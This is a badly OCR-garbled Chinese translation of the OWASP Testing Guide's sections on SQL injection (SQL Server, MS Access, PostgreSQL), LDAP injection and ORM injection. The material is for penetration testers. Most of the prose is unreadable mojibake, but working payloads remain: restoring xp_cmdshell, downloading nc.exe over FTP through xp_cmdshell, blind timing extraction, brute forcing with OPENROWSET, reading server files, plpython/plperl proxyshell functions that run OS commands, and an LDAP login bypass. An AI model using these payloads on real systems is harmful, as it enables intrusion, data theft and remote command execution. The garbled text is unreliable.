RORERIAAERD o BRI, WA RAE OB CARHLEGER SRR RS B %0, R3O, AR
GEiL XA PR o

SQL Server 2000:

o WIHETZEH] xp_cmdshell Fil sp_dropextendedproc, FeAlTHT LAfa] Sy E N T T HIACHD -
sp_addextendedproc 'xp_cmdshell','xp_log70.dll'

o R AR EATER], AREK xp_log70.dIl BEE BREGE MR . IX AN B0 R FRAT TR LA ] DA AR A T
A
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS
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DECLARE @result int, @OLEResult int, @RunResult int

DECLARE @ShellID int

EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShelllD OUT

IF @OLEResult <> 0 SELECT @result = @OLEResult

IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)
EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run’, Null, @cmd, 0, @Wait
IF @OLEResult <> 0 SELECT @result = @OLEResult

IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)

EXECUTE @OLEResult = sp_OADestroy @ShelllD

return @result

XEBARIE B Antonin Foller 4n'5 (2 W US| )5 I EEHEE), 1l sp_oacreate, sp_method Fl sp_destroy @il #— BT
xp_cmdshell (ERMEATIZEH ). AT, FATTH EMERIRAIEIE I 2 — xp_cmdshell (B E IR TAE), BRWEA
S,

7 sQL Server 2005, i i3 A\ LA F AR E xp_cmdshell:

master..sp_configure 'show advanced options',1

reconfigure

master..sp_configure 'xp_cmdshell’,1

reconfigure

%l 6: 2% | 1 -AREE

¥ REFERER L& N -

Referer: https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--

RVFHATARE saL AT . Ml user - agent ki E G HAHA -

User-Agent: user_agent', 'some_ip'); [SQL CODE]--

11 7: SQL Server ¥i O33#%

7F sQL Server 11, —MNEA K (B/DAEBIBENR) 4 J& OPENROWSET , 178 Y — N Eda 14 IR 25 28

R aE R o BB MR LU AT My R34 H AR 2% b i ML A3 1, JEA L N 2

N

BAT

select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','select 1')--

AT ) 23 SRR 0 1w 11 P bl xoy.wezo G5 RSP, KR BT

SQL Server does not exist or access denied
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U7, Az FE IO, BRI AN R
General network error. Check your network documentation

OLE DB provider 'sgloledb' reported an error. The provider did not give any information about
the error.

MR, HRAE EIEAN BT e ARG OL, B TAT A A ma 2 ], AR PR AR RS B
F, PriAef ) (R 5t 5 ), 45 Rt AN TFBUR S FURE IR (9] A R .

Hid4E, sSaQL Server 2000 HELIA 5 FH OPENROWSET , {H SQL Server 2005 1 25H
Bl 8: W] PHAT SO A%

— HJAT AT LMEH] xp_cmdshell (TGI8 AR E LR AT BAFE H ArIRss 8 th g AL n s st —
AR WL netcatexe , (FARTAR D HR A G M. WUR HAR RVEENNKFE HLAs T a3 FTP 3R, LT
7 B RN T A A i

exec master..xp_cmdshell 'echo open ftp.tester.org > ftpscript.txt';--

exec master..xp_cmdshell 'echo USER >> ftpscript.txt';--

exec master..xp_cmdshell 'echo PASS >> ftpscript.txt';--

exec master..xp_cmdshell 'echo bin >> ftpscript.txt';--

exec master..xp_cmdshell 'echo get nc.exe >> ftpscript.txt';--

exec master..xp_cmdshell 'echo quit >> ftpscript.txt';--

exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--

EX— L, B EEFEH neexe,

R KA SCVFRAT FTP,  FAT 1) AR X A AE R H I 7E windows HLesHERIA 224211 Windows i #%, debug.exe
o Debug.exe /&R BAT A, I BRI P T 4 R BIA SCAF 3G — AN wT AT IO IIAS SO o FRATT 7 AR A2 T A
AT SO B A GX 02 100 % (1) ASCI ) —ATAT E#IF 5 A debug.exe. BIELIZFE 1 HH ST
JULAN L HE (4. Ollie Whitehouse ) makescr.exe F toolcrypt.org I dbgtool.exe ) o JENUIF ¥ ]:

exec master..xp_cmdshell 'echo [debug script line #1 of n] > debugscript.txt';--

exec master..xp_cmdshell 'echo [debug script line #2 of n] >> debugscript.txt';--

exec master..xp_cmdshell 'echo [debug script line #n of n] >> debugscript.txt';--

exec master..xp_cmdshell 'debug.exe < debugscript.txt';--
PR b, FATH AT AT S AT AE H AR HL & EBEI AT .

AE— 2 hE AENBITIX — o F2 M T H. H&EXLNZELE Windows I Sqlninja 1247 [ Bobcat FIFE Unix FizfTHY
(

Sqlninja  CULiZ 0T T.HD
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€

RIA BoR 115 BOHFLEEE (00B) )

2 Web N HIRE P BAT IR MHEATE B - A R E R (S WESQUIEA) , JEARITAE B Z k. filln,
HEAPEACH Jo ] B A AP B0 (B, T Web N IREFRIE T — NI A o BB ENRE W LA
FARIAE web N HIFE b B2 R BLIPTAT I SQUIEA T SR IPS AT RESSILLE —2E Xy, (HIR IR df (I NEIE
BEATUTTR AT iz H GRS FREAT Heat (T A AT, SRR I K Web NIRRT IR L8 2 ot

AMERIIE (00B) Hiliff B L FEAEGI VY A ik .
saL HIEA K d
FIRMEHIR

TANATAT B B Ciia . Bl & ] B BORAE web IR HAFAE R SQUITABAMELRIE (00B) sQL ViAW
. Bk AN BGh TR (B, —A web A, FEIZSHE EATIBOR & ([[1]]) FFSIL RN, i
n, BRI Web NHIFE A &R Lhae FH— A+,

select * from books where title=text entered by the user

RIEBIENIAFE P BERIASCAR : 'Bomba' OR 1=1-  WIREHR BAT LI IEFIGIE, XA PRI I 56 E T 3R Al A 45 4%
. XRWIFAE SQUIEAIRT o B IENE AT DURS 5P T 2 DURE Al AN I ) S 224

Ak BR—MHRRIEE

oL AR FSE I BORL, AT W] B M A AT B O TEREA T B o e T RE R A BT DU A R R B DR A
BefFEil, HEERE R T EE. Bl

o FERSEKEULT, Web MRS (SBR b2 Web k554 WIRESIRFIMLSE 500 : A RS AR bttt Ui
R FPR [Pl 2 A AR AR L. B, JERRSESE 515 A .

o EURAEILARTE LT RS a5 23R 81— 200 OK HIF R, H Web [ FHFE 7435 0] — LT 5 il N R R A5 L

Internal server error B, bad data.
X AE(E R RN T IR web N HTRR PRI R R I an AT A 422 & saL Ay
F—RIAMBIEIE (00B) AL HTTP 3 WSO -4 i 45 51
I 18] Bty

N IR A IR BT R SN, AEAE R SQUIEABGRKI AT RENE: D& Web N HIREFFAOTE K S MR ). Anley 7E
C([2]) ik TxRAd, FATN AR T %6, H] waitfor delay fin & BT BGt# 2k A i
FAAE" pubs” FEASEH 2, ARFE N R T A i 2
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if exists (select * from pubs..pub_info) waitfor delay '0:0:5'

AR AW T ZOR A AR, AR RE R 2. Fsk b, IXBAFAEWFEOL: 4> sQUiE AR RVHBIE
MR WEEAS B PR VRE BB WOEIE . AL, 2 a0l AR RGP bits —#E2) BIENIE
RESRAG Bt b AT AT Kt . B NIl A

declare @s varchar(8000)
declare @i int

select @s = db_name()
select @i = [some value]

if (select len(@s)) < @i waitfor delay '0:0:5'
D0 7 ] T) A @i AN, FAT TR LAHE S >4 i 80 PR i) A4 BRI L, SRS AT R 2 Al FFaa e i 44 F -
if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor delay '0:0:5'

T S Y 1T B ZE T A FRIF) bit ' @bit' of byte '@byte' & 1, I8 LA WSS 5 B4R IF Hoan 02 0 shas %A .
BT (—AH T @byte Al—NMH T @bit) , FATKAEWHFRIUEAME EL.

&

SR, fir waitfor A REJCIAEH] (f4n, P24 1PS / Web N HIB K ERK 08D o« IXIFA R AREPATH saL it
AB ik o BN WU T B A I ) 2B T B sl JE A B AT 5l

declare @i int select @i =0
while @i < Oxaffff begin
select @i=@i+1

end

FRA NI AL &

[l o e 1) Bk et o] FF TR BATTIEAE AR HE ) saL Server [RIRRA . 8K, BATK AR N E ) @ @RAE
o HIEUUTN A

select @ @version

SQL Server 2005 ', IR [H]:

Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 <snip>

£ 2005 745 B R NS 22 255 25 N AT. DL, EEHVEA T AR
if substring((select @ @version),25,1) = 5 waitfor delay '0:0:5'

k@ @version 2255 25 NPT R 5, M LXK F ARG AEAF 5 AP SREBER AP )2 sQL Server 2005 . U1
AL RTR ], FRAT ) R A& AL FE 1) /& SQL Server 2000, [ I HL A AL A AT Bh T BR T A BE RS .
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€

Bl 9: BAMREETH

KT B ARG E B D, BATATDARI A R gi52: OPENROWSET iy Zid L4l A R i I 3z, [l A
EHLRERE IR BIA KA B R 254 o W XX SO P A T S N I [R) PR B N &5, FRATTAT Ay N ThI AR AR A
select * from OPENROWSET('SQLOLEDB',";'sa";'<pwd>','select 1;waitfor delay "0:0:5" ')

PAVXFEA H 2 “sa” AL “ <pwd> “AER R 20 BRI A A (' SQLOLEDB 'Ji 1 FBHRE) »
AR IR HAE By, AT S IR RSy 5 B GRR[El—AME, K28 OPENROWSET fiiit 42 /b—
B2 o AT £ B [ I B R S s — AN A T RS TR), FRATT AT LR DR TR R A . AE BRI
5 sqL i AFIHERE” , 45K David Litchfield i iy N — BB RE— D HERIX —HAR, DU AL £t e e 4545 A 5 1)
CPU T2 MR R B U . — HIRAT A R B 20, FRATA AN+

o fliFH OPENROWSET y: N\ FAIFTA £y, LUEAEH R G058 B 0 AR

e ffilH] sp_addsrvrolemember ¥ 4 H5 FH P INA B R G E HE AR 41 . A0 A HEEE A NSRS 7y H P 2 AN PR

=
H system_user.

1H1cE, OPENROWSET H]ZE SQL Server 2000 H 5 in) Fr & H /', {H7E sQL Server 2005 AR T & 2L ik

e David Litchfield: "Data-mining with SQL Injection and Inference" -

http://www.nextgenss.com/research/papers/sqlinference.pdf

e  Chris Anley, "(more) Advanced SQL Injection" - http://www.ngssoftware.com/papers/more_advanced sql _injection.pdf

e  Steve Friedl's Unixwiz.net Tech Tips: "SQL Injection Attacks by Example" - http://www.unixwiz.net/techtips/sql-injection.html

e Alexander Chigrik: "Useful undocumented extended stored procedures" -

http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm

e Antonin Foller: "Custom xp_cmdshell, using shell object" - http://www.motobit.com/tips/detpg_cmdshell

e  Paul Litwin: "Stop SQL Injection Attacks Before They Stop You" -
http://msdn.microsoft.com/msdnmag/issues/04/09/SQLInjection/

e SQL Injection - http://msdn2.microsoft.com/en-us/library/ms161953.aspx

TR

®  Francois Larouche: Multiple DBMS SQL Injection tool - [SQL Power Injector]
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e  Northern Monkee: [Bobcat]
e icesurfer: SQL Server Takeover Tool - [sglninja]

e Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sglmap.sourceforge.net

4.8.5.4 MS ACCESS & il

s

i i
s

ARICA AT 2 )5 m B 2 e MS Access IR AT sQU i Al o JEHOE SCRE [ E AR TN A sQLiEA. 7R
VA — AT B TR sQUiE NI AO SL R R e, AP THE —FAI T sQuiE A 5%

| ks

PR AT

B, AERATE —DMER AT AT REIE 2 SR sQL SR AL

Fatal error: Uncaught exception 'com_exception' with message 'Source: Microsoft JET Database Engine
Eiiipay

KEWRE, WIFRATEERI—ALL MS Access K 4 24 J 3 (1 S R T o

AL, MS Access AT sQL ARy TR AT, I TGRS i N 7455 /* B--ml # I ki & ifg . 53—
Jil, SEIEME, FATTLARIH NULL FRFged I ARG SRERA T4E A i Ay b () — L8 7 36 N 275 % 00, BTl
7 NULL F45 5 T - FPR 4 20 o X2 ARSI, DA A7 R DL NULL £5 )8 1. SR1, NULL PR It 2
FEAE R AT LAER R, A 5 RE R AT T AR A E A . XN TS 0x16  (FF URL i xUE%16)
B3l 220 R0k, W0 SRERATTA LA R A

SELECT [username],[password] FROM users WHERE [username]='SmyUsername' AND [password]='SmyPassword'
FRATTAT LUIEHT BLR IS URL 4 R R AT 23 30
http://www.example.com/index.php?user=admin'%00&pass=foo
http://www.example.com/index.php?user=admin'%16&pass=foo

M2
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http://www.northern-monkee.co.uk/projects/bobcat/bobcat.html
http://sqlninja.sourceforge.net
http://sqlmap.sourceforge.net
http://www.example.com/index.php?user=admin%27%00&pass=foo
http://www.example.com/index.php?user=admin%27%16&pass=foo

€

J T MW@ E, T LS R T EOR A MS saL Server FIFIFER 7. 2, FRATAT DU A S Bk IR R
P2 FR . Bldn, B PRI AR S, FRATA UAE NS B . R 1 A A v 3R AT e 0 A i
HAeJE 25

' GROUP BY Id%00

FEARBIRETRAE R rh, BATAT LR 2R DR TR A 7R R . ERATAIXA L, BRI IHAT R v 4
Fo WERBADE A BPEN A FEARE, TATTEHEA DRSS SRR, AT A
JE LRI

EINCE e it

AAAET MS Access H K] L8345 T IR SRAT FLE AERF A8 IO RO e rh IR A0 7 AEBROARCE D, IR SR R ETL VT
Mmo@&MTUﬁ%w@oﬁﬁﬁﬁm% A

e  MSysObjects

e MSysACEs

e  MSysAccessXML
B, anRAFLE— union SQL VEA U, R DT LU A
" UNION SELECT Name FROM MSysObjects WHERE Type = 1%00

LA EIZ S e w] LAAE MS Access EAIHT sQU TN M 3 2O 3R 3847 — 2L J T-IT A B 5 SCEL ) A pR Bt AR AT H -
Horp SR Mo

o ASC: ZRHCMEA AT ASCIE

o CHR: KIUHIAIN ASCI {EFTARE M5 -

o LEN: R[UMEN S LR A 74T H I

o NIF: HITif MIETEA). BIWXAMER): IF(1=1, '3, 'b") , iRk

o MID: EXAMRH THICT 747 . BIUXAMEA): mid('abe',1,1), F5LE'"

o TOP: EANMEAVIIRIREILTIR MR 2 2 /D40 f M T -. fln TOP 1 -85 2 & 1l — 4 id 3% .

o LAST: XANPREH RIERIT AT G —1T. Bl F XA A SELECT last(*) FROM users 1% [1] 45 3 1) £
Ja—A4T .

S
:mb
ﬁ
%
»

=

Horp— S8R SOR ARAI T sQuitE . XA N BUs kel SIS TR
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B saL EARM

BT SQU VAL AS B9 T3 53 LRI . MOkt T DA AT union B9 Z 5L 4R 5]
SQLYEA. FAMEBH I T RRATHRIAT shell fr s/ S50 PET. FRIFRE BT ARIT IR B0 25 . T3
Rk, TRAEF FHRH T

http://www.example.com/index.php?myld=[sql]
myld ZHH T LU A -
SELECT * FROM orders WHERE [id]=Smyld

FEARTIR, FRATHE L8 myld Z80RTR AT RS sQLVEA . A THZINEH users 1N ZE, /241 username
A7 GEE R RN EARRMTCAaFiE m i RBUR R 4 7)o BAVBBIEH DAAIEE saL EABHT)
Hig, PrARMTEEE 207 — DN IURI ] THERER 10 7THH ) AR EE — A AT R B

http://www.example.com/index.php?id=IIF((select%20mid(last(username),1,1)%20from%20(select%20top%2010%20username%20from
%20users))="a",0,'ko")

WEAREE AT, IEEHRRE 0 (N true RN ), AANPRFIRE] ko' 745t o BUAE, IRATRHRE AT L
X R R A SRR IS, (] IF, MID BT LAST sk, FRATFRIGE AT P 2 13— A7 AR
JEOR A AR [T Al R AR NSk, BN BE AT s ik BATE el U #E 1. ALl
I TOP B ¥, EE HXS AR ATA R A TR E Ay, FATBAE A/ DTy, ZEHERTHZE 10 177 4.
HSCEALH] TOP bR A IR ST+ 17

SELECT TOP 10 username FROM users

e, BAVE LAST s O b 5 4T, — BIRITAT A7 JF HaXAT e A T2 0, BATRT LML 1F, MID
A LAST pR BCHERT I 2 B0 . BB — T IF AU A 28l e AETATIY 7 h B AME T 1F pr ok Bl —A
G T NPT RN, AT A SRR A AR TR N XA 1D R EERAY, el R
EH—NFRRLIE, ARG A saL iR, RZUURY o HILER R AR 4%, MAZSEHO 747
A, AT LME AR Biltn,  JRATTRT LA LR 25

http://www.example.com/index.php?id='%20AND%201=0%200R%20'a'=IIF((select%20mid(last(username),1,1)%20from%20(select%20t
0p%2010%20username%20from%20users))="a','a','b')%00

R — DR R, L ERZIRE true. 15 NAEF S TEBLIR A HS R false o
XA BRATRE S HEWT ] P A (. A THEE L BRAIC ARG T 52 8EME, FRATER R vk
1. ZRFrE AT O, WU EE — MEE R, B8 E RS 28 (.

2. BATRTDERAER K (e PR, BATA LGRS LEN %D, BEEIEBIIHT 7
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http://www.example.com/index.php?myId=
http://www.example.com/index.php?id=IIF%28%28select%20mid%28last%28username%29,1,1%29%20from%20%28select%20top%2010%20username%20from%20users%29%29=%27a%27,0,%27ko%27%29
http://www.example.com/index.php?id=IIF%28%28select%20mid%28last%28username%29,1,1%29%20from%20%28select%20top%2010%20username%20from%20users%29%29=%27a%27,0,%27ko%27%29
http://www.example.com/index.php?id=%27%20AND%201=0%20OR%20%27a%27=IIF%28%28select%20mid%28last%28username%29,1,1%29%20from%20%28select%20top%2010%20username%20from%20users%29%29=%27a%27,%27a%27,%27b%27%29%00
http://www.example.com/index.php?id=%27%20AND%201=0%20OR%20%27a%27=IIF%28%28select%20mid%28last%28username%29,1,1%29%20from%20%28select%20top%2010%20username%20from%20users%29%29=%27a%27,%27a%27,%27b%27%29%00

€

NETS

AN S R R R BERIRAT T BB AR . R I RS X IR N Y
F—Eo BT

FLLE LIRS 2 NN TR R LB o BATTRT LA DL R ABAE Ky 23 B A et
9acd202b2d3d

flhn, AT LLHAT LR Al
http://www.example.com/index.php?username=f00%27%090r%09%271%27%09=%09%271

GeidAMEB SRR

TyERS, A

Z

HEH

aft

http://www.techonthenet.com/access/functions/index alpha.php

http://www.webapptest.org/ms-access-sgl-injection-cheat-sheet-IT.html

4.8.5.5 f il POSTGRESQL

AATHTE PostgresaL ¥ sQLITEAE T . 18 T i T IHIFIRHIE
o PHP RS RVHEM: MBI RATIAT Z AN ER)

o JEIEPRIERE AT - WTLOCRE sQu R

o {F SELECTiEAIHTASF L/miT F1 OFFSET W] LA 2125 )77 AE [ 45 B4 T (38 40 45
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http://www.example.com/index.php?username=foo%27%09or%09%271%27%09=%09%271
http://www.techonthenet.com/access/functions/index_alpha.php
http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-IT.html
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fEiX 5, A ME B Atto/www.example.com/news.php Zid=1 %52 3| sQL 77 AN Bt .

ik
7 %€ PostgreSQL

MR sQL AN, URTT EEAF AR i v B e 2 . 3k A R A B S SRR T AR S S M 2 5 | A
42 PostgresQl .

il
http://www.example.com/store.php?id=1 AND 1::int=1
version() R T LUH KA PostgreSQL Tt A5 . ‘& [FIFE 1] LLR R IS 2 A E R R BAFRA .

Bl dm:

http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

BEA
P EEASG, IR EEE SN I A R AL

o FRIHRKE
LENGTH(str)

o ERETHE AR AT
SUBSTR(str,index,offset)

o HWHHG|ISWTRFRRIA
CHR(104) | |CHR(101)| |CHR(108)| | CHR(108)| |CHR(111)

M 8.2 JFUfi, PostgreSQL 5IA T W E KEL pg_sleep(n)ll 41l 2 WEBEREARIR N F2.
FEZ RTRIRA R, ARar DL R H libe 5 BIEE A i LK pg_sleep(n):

CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.s0.6', 'sleep' LANGUAGE 'C' STRICT
L1238

M ILAEH chr()BR B0 55 15 BEAT G AT T AR 15051 5 4

* chr(n): IR A4, HASCH AE X NECF n
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* ascii(n): 1Z [B]6F Y. F4F n [ ASCI {E

AR A G B 545 £ 'root:

select ascii('r")
114
select ascii('o')
111
select ascii('t')
116

BATRT LUK "root' Gty -
chr(114)]|chr(111)| |chr(111)| |chr(116)
Biltm:
http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)| |chr(111)] |chr(111)| |chr(116)--
Bigip
HHTA

1 F %1 sQL SELECT & &) a] I R 2 450 H P G405

SELECT user

SELECT current_user

SELECT session_user

SELECT usename FROM pg_user
SELECT getpgusername()

Examples:

http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--
http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--

LRTBIEE

N B B current_database()iR [Pl M4 Hi B FELFR -

Example:

http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--
M BB
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ProstgreSQL F2AEPIRI 7 XU ) A M SCAF
e COPYiff]
o pg_read_file() N &L AL (245 T PostgresQL 8.1)
-COPY:
AR R e SCIE R A% 2 I SIS . PostgreSQL 519414 postgres I/ i M A Hu U1 2R 4%

il

/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--

W uNvIoN it g SQL I FEAKE R E U -
o  WRZEIMHE cOPY EAJRING file store W IIATHL
e ffi[] UNION sQL JE N — kK& AT

il

/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--

/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--
pg_read_file():

PostgresQL 8.1 51\ T e H. & ARVFHI IR T DBMS A FlSEcdh H s AT 25T
iltm .

SELECT pg_read_file('server.key',0,1000);

B3

L s ] copy ih6), ATHELL postgres HI M BURE ANAHUST A 2 ¢
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--

Shell FEA
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PostgreSQL il it il B A AN python. perl I tcl S 1A T 42 (1 FLHIE 0 52 ek 3L
EIENC
PostgreSQL 8.1 Z i nJ LA N5 libe BEHE 1K B i ek 4K
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT
T RGEPATE AR nt, BATWATREMRZT stdout RIS R ?
LN

o QI stdout Fhk

CREATE TABLE stdout(id serial, system_out text)

o AT 5 shell x4, H stdout FEAT AL 7]

SELECT system('uname -a > /tmp/test')

o MM cOPY AU i 2 A% HIE A stdout K

COPY stdout (system out) FROM '/tmp/test'

o stdout KRR % H

SELECT system out FROM stdout

Bl

/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.s0.6','system' LANGUAGE 'C'

STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--

plpython

PL/Python S VFH F7E python H4atd PostgreSQL PRAET. X & NZAEATI, KRULEAH IpERHIH P segett. A2
BRIN LR, RS E CREATELANG v LAAETS & 0t FE T Je H

o R INAEEE AR AT T LA PL/Python:

SELECT count(*) FROM pg_language WHERE lanname="plpythonu'
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o WIRARE, WZXRH
CREATE LANGUAGE plpythonu
o WEREMBAEMISNERIN T, WLHAEQIE proxyshell BRL :
CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu
o LW RALLT :
SELECT proxyshell(os command);
(iLE
o  {#E— proxyshell BR%{:

/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; return os.popen(args[0]).read()’ LANGUAGE
plpythonu;--

e BITOS i
/store.php?id=1 UNION ALL SELECT NULL, proxyshell(‘whoami'), NULL OFFSET 1;--
plperl

Plperl SLVFIRAILE perl H%ih% PostgresQL pRif. MWW, A AMIEE S %3, HTALIEITNIIT 5IRZRIERS
AL AERAE, B0 open Ao IXFEMURANRESRAT OS ZUMIVI R« D T MCZHTEN proxyshell JHEHIRRE, FATi 2
I postgres K AZEANSEAFARIIRRAS,  LUIE G 1 A - P RE PP A S 52 25 AR /AR AR AR 3R AL g

o WHYGETAM T AZEER PL/perl:

SELECT count(*) FROM pg_language WHERE lanname="plperlu’

o WUREA, BAGEH R CL LR T plperl 4, ZK:

CREATE LANGUAGE plperlu

o WUR EIRAE—FOIEEI T, LA > proxyshell PR3

CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu
o HUETMTLILT

SELECT proxyshell(os command);

Bl
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o GE— proxyshell FRi%{:
/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;
o IZAT OS A%

/store.php?id=1 UNION ALL SELECT NULL, proxyshell(‘whoami'), NULL OFFSET 1;--

®  OWASP : "Testing for SQL Injection"

e  Michael Daw : "SQL Injection Cheat Sheet" - http://michaeldaw.org/sal-injection-cheat-sheet/

e  PostgreSQL : "Official Documentation" - http://www.postgresgl.org/docs/

e  Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net

4.8.6 LDAP £ A\ (OWASP-DV-006)

RS

LDAP /25 82 H 3%k j [ #p (Lightweight Directory Access Protocol) FYE R4, E&—FEbc TH . &
PUFNVFZE HMAT G5 BRORIIE,  LDAP JE X RS amim i Bedi, wIRe R 38Ut . (2 0EidE A LDAP g5#y ik
L AN B RBURAE B

M A AR S A WS A 1 AN TE SR R B A S 0T AR — ki

il 4

A~ wweb AU LA /A 0 SR G B i ey B e T

LDAP VEA MR EE A AE AT SR R/ LDAP FEHIRT, i Aillick i LDAP 753 W66 54 R 2R TR web
R

Rfc2254 FE N T —AMEE, XTan{efE LDAPv3 ST — MR IERS, 9 E A Rfc1960 ( LDAPV2 )

LDAP Ryl g2 B 22 ROk LK, A TSR IRk,
RERAE, SRRSO SR

find("cn=John & userPassword=mypass")
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https://www.owasp.org/index.php/Testing_for_SQL_Injection
http://michaeldaw.org/sql-injection-cheat-sheet/
http://www.postgresql.org/docs/
http://sqlmap.sourceforge.net
http://www.ietf.org/rfc/rfc2254.txt
http://www.ietf.org/rfc/rfc1960.txt
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EAJRRaE
find("(&(cn=John)(userPassword=mypass))")

A R AU G TR AT LA LDAP 8 ZR IS 8RR FINAG R S AL B

TOFRF & X
& B

I -

! EHRAE-
= H45 T~
~= AT
>= KT
<= N
* R TAF
() AT

KT RE R ST A I 0 % £ B4 T (1 49 T LAYEAH G 1) RFC rh 5]
BRI LDAP 11N AT LA SR VFA I -

o Ui i ARALHER N ZS

o W38N T 1 24

o WHEARHLHER(E .

o EANBAELAE LDAP B 4544 B IR 42,

R 241
Bl 1. BRI IERS

EBAMBR AT — DM T IR ILIERS T Web N HIFER?:
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searchfilter="(cn="+user+")’
S - T IR HTTP 355K
http://www.example.com/Idapsearch?user=John

4R ohn' FARIE L ACIEUE KRAEFH N —A> ™+
http://www.example.com/Idapsearch?user=*

I PRSI U T P -

searchfilter="(cn=*)"
KEWREIASA e’ BRSO en’ Je PR rT LU AT 2R .

W SRAZ I HI P %) LDAP VEAAFAETR,  FEHOBUT BT () LDAP O P BURRI B AT Wi, B Bos i se sl i
P s

K ol LR dm A ] & R R R R OE T R N A R A R,
Bl 2. B

TR Web N R FEAF T — MR IRIA S S 0, U@ LDAP Al I UF AR 3E, I L Al i v N —ME ik
true fJ LDAP A7) (5 SQL A1 XPATH yE AL Leid a1 - & /S ik 2.

B Web B Rl FH i 8RRk PEED LDAP JH = FIs AT
searchlogin= "(&(uid="+user+")(userPassword={MD5}"+base64(pack("H*",md5(pass)))+"))";
A T A

user=*)(uid=*))(| (uid=*

pass=password

e R AR LT

searchlogin="(&(uid=*)(uid=*))(| (uid=*)(userPassword={MD5}X03MO1gnzdYdgyfeulLPmQ==))";

which is correct and always true. This way the tester will gain logged-in status as the first user in LDAP tree

=K

7

A AL I HALESE true (). THRLIXFPrik, RN GOREAE ) LDAP B AR Z R v (1 58— A TP BRI L8 RPIR
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=  Sacha Faust: "LDAP Injection" - http://www.spidynamics.com/whitepapers/LDAPinjection.pdf

= RFC 1960: "A String Representation of LDAP Search Filters" - http://www.ietf.org/rfc/rfc1960.txt

= Bruce Greenblatt: "LDAP Overview" - http://www.directory-applications.com/Idap3_files/frame.htm

=  |BM paper: "Understanding LDAP" - http://www.redbooks.ibm.com/redbooks/SG244986.html

TR

=  Softerra LDAP Browser - http://www.ldapadministrator.com/download/index.php

4.8.7 ORM ¥# A\ (OWASP-DV-007)

| ik

ORM VEAJEAH 1 SQL VEAXT ORM A= A HEAE s ) 6 AR EAT () — Fh et MRS B34 BESK R, b EGT 5 saL
WABGHAE S bR Fa2 AR, SR, VEAIRTAFAE T ORM AP A i,

| b

ORM 752X % (Object Relational Mapping) T.E.. BT I#E web N FE S04 M R P EE UT i )2
(I AT IR T ORM A A A e #5436 45 FH S s P 1A AR = AR R R B )28 1R I 8 R IR B A A
B R 9052 sQL I ANBGT I — A e 2R 2. ORM AR IR0t Gn] DU A saL BRAE R 2155 T, ATH saL 28,
LEBAR E3E4T CRUD (A% Create, iHY Read, 3r Update, W[4 Delete)ffE. AR 5 J7 5 H AT LLRES2 R 40
BN SE, BLAEH ORM A Bob L) web N FE /7 AT BEAFAE sQL 3 AN Bt .

ORM I EfU.45 Hibernate for Java, NHibernate for .NET, ActiveRecord for Ruby on Rails, EZPDO for PHP DL Az H. & .

FF ORM LB AL E, S0, : http://en.wikipedia.org/wiki/List of object-relational mapping software

SRR I 52 1]

ORM ¥ Al (¥ JB ks U 5= sQL Vi AR IR AR R 8(Z WL sQU i AL o FEVFZAEOL T, 7 ORM JRA7AESS M2
TEBIILBATIE LA A S B, 250 ORM BAFSRL 2 4 B, X H P S NIEA T3 S BRIMT, A R AT B HTIX
LEpR L, [FIINT AR A A SCRR B L N, I st ] BERAT sQL TE AL
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http://www.spidynamics.com/whitepapers/LDAPinjection.pdf
http://www.ietf.org/rfc/rfc1960.txt
http://www.directory-applications.com/ldap3_files/frame.htm
http://www.redbooks.ibm.com/redbooks/SG244986.html
http://www.ldapadministrator.com/download/index.php
http://en.wikipedia.org/wiki/List_of_object-relational_mapping_software

€

| R R

